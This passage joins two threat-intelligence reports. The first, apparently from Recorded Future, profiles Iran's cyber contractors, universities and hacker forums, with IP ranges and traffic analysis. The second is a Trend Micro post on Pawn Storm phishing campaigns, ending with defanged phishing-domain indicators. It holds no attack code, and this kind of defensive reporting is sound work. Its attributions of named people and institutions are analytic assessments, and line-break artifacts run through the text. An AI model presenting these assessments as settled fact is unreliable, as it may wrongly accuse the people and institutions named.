complete the government-defined +objective. +Public knowledge has also established that Iranian academic institutions +play a contractor-like role. Specific examples include Shahid Beheshti +University (SBU) and the Imam Hossein University (IHU), which have +comprehensive science and technology departments attracting some of +the best academic talent in Iran. In fact, the SBU has a specific cyberspace +research institute dedicated to such matters, and the IHU was founded by +the IRGC. +As the Mabna Institute indictments highlight, despite the lifting of sanctions +and an appetite to re-engage with the international community, Iran has +continued a subversive and aggressive global cyber operations campaign. +This ongoing campaign, which targets universities for scientific and +technological intellectual property theft, demonstrates a fundamental lack +of trust in the international agreements, including the Joint Comprehensive +Plan of Action (JCPOA). +Relationship Between the Iranian Government, Contractors, +and Security Forums +Clearsky, FireEye, Symantec, and PhishLabs have all performed significant +research on Iranian nation-state-sponsored campaigns that provide +historical insight into technical capabilities and relationships between the +Iranian government and contractors. +The work of the aforementioned security companies and recent U.S. +Department of Justice indictments provides consistent evidence that Iranian +government-sponsored offensive campaigns are executed by contractors. +FireEye disclosed that the Nasr Institute was an APT 33 contractor in +an operation that used publicly available backdoors and remote access +trojans. The handle +xman_1365_x + (self-identified on security forums as +Mahdi Honarvar) was found by FireEye in malware artifacts, which open +sources linked to the Nasr Institute. Previously, Nasr Institute had been +associated with Operation Ababil +s distributed denial-of-service attacks +against American banks, an organization which a U.S. Department of Justice +indictment confirms had been hired to build attack infrastructure by the +Iranian government. +The actor xman_1365_x was then linked to a security company called +Kavosh Security via OSINT by Iran Cyber News Agency. The actor was linked +to a destructive operation, which used NewsBeef and StoneDrill malware +families. According to Kaspersky, the latter data wiping operation targeted +sectors across Saudi Arabia and Europe. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +Command and control (C2) domains used by StoneDrill and NewsBeef in +Kaspersky +s findings were found to share an SSL certificate, which surfaced +an additional three domains in research by the Iran Cyber News Agency. +WHOIS information was then connected via open sources to Imam Hossein +University (IHU). IHU was named in sanctions by the U.S. Treasury +providing, or attempting to provide technological, or other support for and +services in support of the IRGC. +Additional publicly known Iranian contractors include ITSecTeam (ITSEC) and +Mersad Company, also linked to Operation Ababil. +The links between the Iranian government and contractors are well +documented; however, the identity of specific groups and individuals within +the Iranian government and IRGC responsible for offensive cyber campaigns +is murky, as is the relationship between contractors and security forums. +Yet, our research and analysis suggest that Iranian security forums may +play a role in staffing and knowledge sharing for Iranian contractors. First, +FireEye referenced the publicly available ALFA TEaM Shell in APT33 spear +phishing email campaigns. The ALFA Shell is discussed in multiple web +locations, including Ashiyane and Iranian Dark Coders Team Forum. +ALFA TEaM shell history. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +Second, xman_1365_x created an Ashiyane profile on August 8, 2010, +allegedly not long after Ashiyane temporarily became the primary security +forum in Iran, following Behrooz Kamalian +s visit to prominent cleric, +Ayatollah Naser Makarem Shirazi. +xman_1365_x created an Ashiyane profile in 2010. +Finally, according to Insikt Group +s source, Iranian contractor ITSEC +specifically employed hackers from the respective online forums Simorgh +and Delta Security. Further, Hossein Asgari, a self-proclaimed Iranian hacker, +managed the Simorgh forum and worked with his father, who was employed +by the IRGC. +Source: http://hackingscripts.com/simattacker-shell/ +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +Zone-h captured website defacements committed by Hossein Asgari +Source: http://www.zone-h.org/mirror/id/4479919 +According to Insikt Group +s source, to find and retain the best offensive +cyber talent, Iranian government contractors are forced to mine closed-trust +communities. The links between the forums and contractors may illustrate +that the trust communities begin with the Iranian security forums. +Analyzing Iranian Cyber Institute Internet Traffic +Insikt Group analyzed internet traffic relating to various institutes affiliated +with the Iranian cyber ecosystem from March 1, 2018 to April 30, 2018. Our +goal was to determine whether any of these institutes had forecasted Iran +intentions in cyberspace leading up to the U.S. decision to withdraw from +the 2015 JCPOA. +This is Insikt Group +s first profiling of internet activity for Iranian cyber +institutes. While we cannot assess whether this level of activity is typical +or not, monitoring it over time to determine changes in response to +international pressure could be revealing. +Cyberspace Research Institute of Iran +Iran +s Cyberspace Research Institute (CSRI) is a research center affiliated +with the prestigious Shahid Beheshti University in Iran. The institute +commands a significant proportion of the university +s allocated IP space, +with no fewer than eight /24 IP ranges registered to the CSRI in Iran, +according to regional RIPE NCC records. The ranges are listed below: +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +netname +inetnum_start +inetnum_end +country +mnt-by +created +CyberSpace-Research-Institute +31.184.130.0 +31.184.130.255 +MNT-MABNA +2013-08-31T06:02:20Z +CyberSpace-Research-Institute +31.184.131.0 +31.184.131.255 +MNT-MABNA +2013-09-15T04:57:21Z +CyberSpace-Research-Institute +31.184.132.0 +31.184.132.255 +MNT-MABNA +2013-09-15T05:02:03Z +CyberSpace-Research-Institute +31.184.133.0 +31.184.133.255 +MNT-MABNA +2013-09-15T05:10:24Z +CyberSpace-Research-Institute +31.184.134.0 +31.184.134.255 +MNT-MABNA +2013-09-15T05:11:21Z +CyberSpace-Research-Institute +31.184.135.0 +31.184.135.255 +MNT-MABNA +2017-05-23T05:30:27Z +Source: RIPE NCC database, ripe.net. +Insikt Group identified several activities of concern emanating from these +ranges. +We discovered over 400 previously unreported SSH sessions between +CSRI ranges and Spanish government and university networks from April +4, 2018 to April 9, 2018. These exchanges involved the transfer of a large +volume of data between the two networks. The Spanish networks resolved +to departments supporting the digital transformation of Spanish public +services and multi-disciplined universities. Direct network connectivity +between the Iranian and Spanish institutions demonstrates that they either +have a deep academic relationship and are sharing data with one another, +or the large transfer of data from the Spanish institutes is unwarranted. +It is unlikely that CSRI would have a valid business interest with Spanish +government departments, so the large volume of data transferred between +the two networks over such a short period of time is a conspicuous +indicator of possibly malicious activity. +Throughout April, Iran +s CSRI simultaneously demonstrated an increased +interest in the Philippine Department of Science & Technology (DOST). +Similar to the Spanish network interactions, very large data volumes were +exchanged between the two networks, denoting strong interest. +This level of engagement and interaction, particularly in light of the +reduction of sanctions, and the thawing of relations between Iran and +the West following the 2015 JCPOA, was expected between academia. +In fact, in 2015 and 2017, Philippine and Spanish universities agreed to +expand scientific cooperation with Iranian institutions. However, given +CSRI +s background, Iran +s demonstrated interest in using cyber operations +to steal academic and intellectual property, and our evidence of ongoing +campaigns targeting universities for theft worldwide, we assess that this +activity between CSRI and these Spanish and Philippine universities may be +malicious. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +CSRI was also observed in a large number of events dispatching the Parsijoo +bot to crawl websites of interest. According to Wikipedia, Parsijoo.ir is the +second most popular search engine in Iran after Google and it uses the +Parsijoobot to crawl websites for indexing purposes. During our research, +we noted repeated crawls of a specialist Canadian-Iranian immigration +website, www.itc-canada[.]com, using Parsijoo bot from CSRI IP ranges. +The crawls were observed throughout our data period from early March +continuing right through to the end of April, suggesting a strong, persistent +interest in this particular site. +Finally, we identified CSRI interacting with IPs registered to Ravand +Cybertech Inc. Ravand Cybertech offers, via its website ravand[.]com, +cloud hosting solutions, among other services. Ravand Cybertech has +strong ties to the Iranian regime. Historically, it hosted the website of the +conservative news agency Fars which is affiliated with the Iranian military. +The company +s registered IP ranges sit under AS12212 with the following +prefixes ranged 198.55.48.0 + 198.55.61.255, 198.55.63.0 + 198.55.63.255 +and 207.176.216.0 + 207.176.219.255. +Ravand Cybertech hosted a number of domains used by an Iranian +Ministry of Intelligence Services (MOIS) agent, Massoud Khodabandeh, in +a disinformation campaign conducted in Western media. The campaign +attempted to discredit and demonize the main Iranian opposition party, the +People +s Mojahedin Organization of Iran/Mojahedin-e Khalq (PMOI/MEK). +According to an opinion piece written for The Hill, the websites were found +by the Pentagon to be created by order from Tehran. Ravand Cybertech was +identified as being an +Iranian state-run + company, which hosted fake news +sites aimed at disseminating Iranian propaganda to undermine the efforts +of Iranian-American lobbyists. +Based on the volume of activity observed during our research, we assess +the CSRI may be engaged in supporting the malicious disinformation +activities of Ravand Cybertech. +Imam Hossein University (Imam Hussein University) +The Imam Hossein Comprehensive University (IHU) is an Iranian university +based in Tehran that is affiliated with the Iranian Revolutionary Guard Corps +(IRGC), the Iranian Ministry of Science, Research and Technology, and the +Iranian Ministry of Defense and Armed Forces Logistics. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +Our research focused on the publicly noted IP ranges for the university, +listed below: +netname +inetnum_start +inetnum_end +IMAMHOSSEINUNI 217.218.175.0 217.218.176.255 +IHUO +78.39.164.160 +78.39.164.167 +country +mnt-by +created +AS12880-MNT 2008-12-28T10:20:37Z +AS12880-MNT 2015-09-05T04:48:32Z +Source: RIPE NCC database, ripe.net. +During our research, we found that IHU was also very interested in Spanish +higher educational establishments and specific government departments. In +fact, two of the same Spanish establishments exchanged high data volumes +with the IHU source range IPs. +Further web browsing activity from IHU ranges was noted to the website +of a U.S.-based multinational engineering software company, Gamma +Technologies. The browsing activity was centered on its GT-SUITE software. +Gamma Technologies specializes in the development of simulation software +for a wide variety of worldwide industries, including power generation. +Mabna Institute +As previously detailed, the Mabna Institute was publicly identified in an +FBI indictment as a front company engaged in hostile state-sponsored +cyberespionage on behalf of the Iranian state. Our OSINT research +identified a single domain, mabna-ins[.]ir, which could correspond to the +group. The domain was previously hosted on an Iranian IP 5.144.130[.]23 +and since April 22, 2017, points at German VPS IP 144.76.87[.]86. This VPS +also hosts over 2,000 other domains, most of which are .ir domains. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +Source: mabna-ins[.]ir +Intent, Scenarios for Retaliation, and Recommendations +According to the terms of the JCPOA, Tehran agreed to restrictions on its +nuclear weapons program in exchange for sanctions relief. However, various +provisions of the accord expire at different times over the next 25 years, +with some expiring as soon as 2025. +On May 8, 2018, President Trump decided not to renew the waivers +suspending some U.S. sanctions against Iran and initiated a de facto U.S. +withdrawal from the agreement. As a result of this action, we assess that +Iran will likely respond quickly by launching destructive attacks on American, +European, and rival nation (countries such as Saudi Arabia and Israel) +businesses. +Conversely, Iran may also retaliate (exclusively or in conjunction with +destructive attacks) through cyber proxies in more methodical and +sustained campaigns. Given the impact of re-applied and expanded +economic sanctions, it is likely that American, European, and rival nation +businesses will also be targeted with more sustained destructive attacks. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +As documented above, when pursuing quick-turn cyber operations, the +Iranian regime will weigh religious and political reliability against offensive +skills. The best operators are not always the most devout or loyal to +the regime and we assess that, in this case, the IRGC may forgo careful +contractor selection and planning in an attempt to deliver a destructive +attack within a short period of time. +Further, our research indicates that because of the need for a quick +response, the Islamic Republic may utilize contractors that are less politically +and ideologically reliable (and trusted) and as a result, could be more +difficult to control. It is possible that this dynamic could limit the ability of +the government to control the scope and scale of these destructive attacks +once they are unleashed. +Western businesses should closely monitor geopolitical events initiated +by the United States or Europe that affect Iran. As demonstrated above, +Western businesses are the logical victims of Iranian retaliation for +perceived American policy transgressions; specifically businesses in +financial services, government departments, critical infrastructure providers, +and oil and energy sectors. +In addition to carefully monitoring Iranian geopolitical developments, +tracking emerging tactics, techniques, and procedures (TTPs) on Ashiyane, +specifically, is wise for any Western commercial threat intelligence program +to determine the efficacy of existing security controls. +Recorded Future | www.recordedfuture.com | CTA-2018-0509 +About Recorded Future +www.recordedfuture.com +@RecordedFuture +Recorded Future arms security teams with the only complete threat intelligence +solution powered by patented machine learning to lower risk. Our technology +automatically collects and analyzes information from an unrivaled breadth of +sources and provides invaluable context in real time and packaged for human +analysis or integration with security technologies. + Recorded Future, Inc. All rights reserved. All trademarks remain property of their respective owners. +Update on Pawn Storm: New Targets and Politically +Motivated Campaigns +blog.trendmicro.com/trendlabs-security-intelligence/update-pawn-storm-new-targets-politically-motivated-campaigns/ +Feike Hacquebord (Senior Threat +Researcher) +January 12, 2018 +In the second half of 2017 Pawn Storm, an extremely active +espionage actor group, didn +t shy away from continuing their +brazen attacks. Usually, the group +s attacks are not isolated +incidents, and we can often relate them to earlier attacks by +carefully looking at both technical indicators and motives. +Pawn Storm has been attacking political organizations in +France, Germany, Montenegro, Turkey, Ukraine, and the +United States since 2015. We saw attacks against political +organizations again in the second half of 2017. These +attacks don +t show much technical innovation over time, but +they are well prepared, persistent, and often hard to defend against. Pawn Storm has a large +toolset full of social engineering tricks, malware and exploits, and therefore doesn +t need much +innovation apart from occasionally using their own zero-days and quickly abusing software +vulnerabilities shortly after a security patch is released. +In summer and fall of 2017, we observed Pawn Storm targeting several organizations with +credential phishing and spear phishing attacks. Pawn Storm +s modus operandi is quite +consistent over the years, with some of their technical tricks being used repeatedly. For +example, tabnabbing was used against Yahoo! users in August and September 2017 in US +politically themed email. The method, which we first discussed in 2014, involves changing a +browser tab to point to a phishing site after distracting the target. +We can often closely relate current and old Pawn Storm campaigns using data that spans +more than four years, possibly because the actors in the group follow a script when setting up +an attack. This makes sense, as the sheer volume of their attacks requires careful +administration, planning, and organization to succeed. The screenshots below show two +typical credential phishing emails that targeted specific organizations in October and November +2017. One type of email is supposedly a message from the target +s Microsoft Exchange server +about an expired password. The other says there is a new file on the company +s OneDrive +system. +Figure 1. A sample of a credential phishing email Pawn Storm sent in October and November +2017 +Figure 2. Second type of credential phishing email that was sent by Pawn Storm in November +2017. The logo of the target organization has been removed from the screenshot and the color +was changed as not to reveal the source. +While these emails might not seem to be advanced in nature, we +ve seen that credential loss +is often the starting point of further attacks that include stealing sensitive data from email +inboxes. We have worked with one of the targets, an NGO in the Netherlands targeted twice, +in late October and early November 2017. We successfully prevented both attacks from +causing any harm. In one case we were able to warn the target within two hours after a +dedicated credential phishing site was set up. In an earlier attack, we were able to warn the +organization 24 hours before the actual phishing emails were sent. +Olympic Wintersports Federations +We have seen several International Olympic Wintersport Federations, such as the European +Ice Hockey Federation, the International Ski Federation, the International Biathlon Union, the +International Bobsleigh and Skeleton Federation and the International Luge Federation, among +the group +s targets in the second half of 2017. This is noteworthy due to the timing correlation +between several Russian Olympic players being banned for life in fall, 2017. In 2016, Pawn +Storm had some success in compromising WADA (the World Anti-Doping Agency) and TASCAS (the Court of Arbitration for Sport). At that time, Pawn Storm sought active contact with +mainstream media either directly or via proxies and had influence on what some of them +published. +Political targets +In the week of the 2017 presidential elections in Iran, Pawn Storm set up a phishing site +targeting chmail.ir webmail users. We were able to collect evidence that credential phishing +emails were sent to chmail.ir users on May 18, 2017, just one day before the presidential +elections in Iran. We have previously reported similar targeted activity against political +organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States. +Beginning in June 2017, phishing sites were set up mimicking the ADFS (Active Directory +Federation Services) of the U.S. Senate. By looking at the digital fingerprints of these phishing +sites and comparing them with a large data set that spans almost five years, we can uniquely +relate them to a couple of Pawn Storm incidents in 2016 and 2017. The real ADFS server of +the U.S. Senate is not reachable on the open internet, however phishing of users + credentials +on an ADFS server that is behind a firewall still makes sense. In case an actor already has a +foothold in an organization after compromising one user account, credential phishing could +help him get closer to high profile users of interest. +The future of politically motivated campaigns +Rogue political influence campaigns are not likely to go away in the near future. Political +organizations have to be able to communicate openly with their voters, the press and the +general public. This makes them vulnerable to hacking and spear phishing. On top of that, it +also relatively easy to influence public opinion via social media. Social media platforms +continue to form a substantial part of users + online experience, and they let advertisers reach +consumers with their message. +This makes social media algorithms susceptible to abuse by various actors with bad intentions. +Publishing stolen data together with spreading fake news and rumors on social media gives +malicious actors powerful tools. While a successful influence campaign might seem relatively +easy to do, it needs a lot of planning, persistence, and resources to be successful. Some of +the basic tools and services, like ones used to spread fake news on social media, are already +being offered as a service in the underground economy. +As we have mentioned in our overview paper on Pawn Storm, other actors may also start their +own campaigns that aim to influence politics and issues of interest domestically and abroad. +Actors from developing countries will learn and probably adapt similar methods quickly in the +near future. In 2016, we published a report on C Major, an espionage group that primarily +targets the Indian military. By digging deeper into C Major +s activities, we found that this actor +group not only attacks the Indian military, but also has dedicated botnets for compromised +targets in Iranian universities, Afghanistan, and Pakistan. Recently, we have witnessed C +Major also showing some interest in compromising military and diplomatic targets in the West. +It is only a matter of time before actors like C Major begin attempting to influence public +opinion in foreign countries, as well. +With the Olympics and several significant global elections taking place in 2018, we can be sure +Pawn Storm +s activities will continue. We at Trend Micro will keep monitoring their targeted +activities, as well as activities of similar actors, as cyberpropaganda and digital extortion +remain in use. +Indicators of Compromise (IoCs): +adfs[.]senate[.]group +adfs-senate[.]email +adfs-senate[.]services +adfs.senate[.]qov[.]info +chmail.ir[.]udelivered[.]tk +webmail-ibsf[.]org +fil-luge[.]com +biathlovvorld[.]com +mail-ibu[.]eu +fisski[.]ca +iihf[.]eu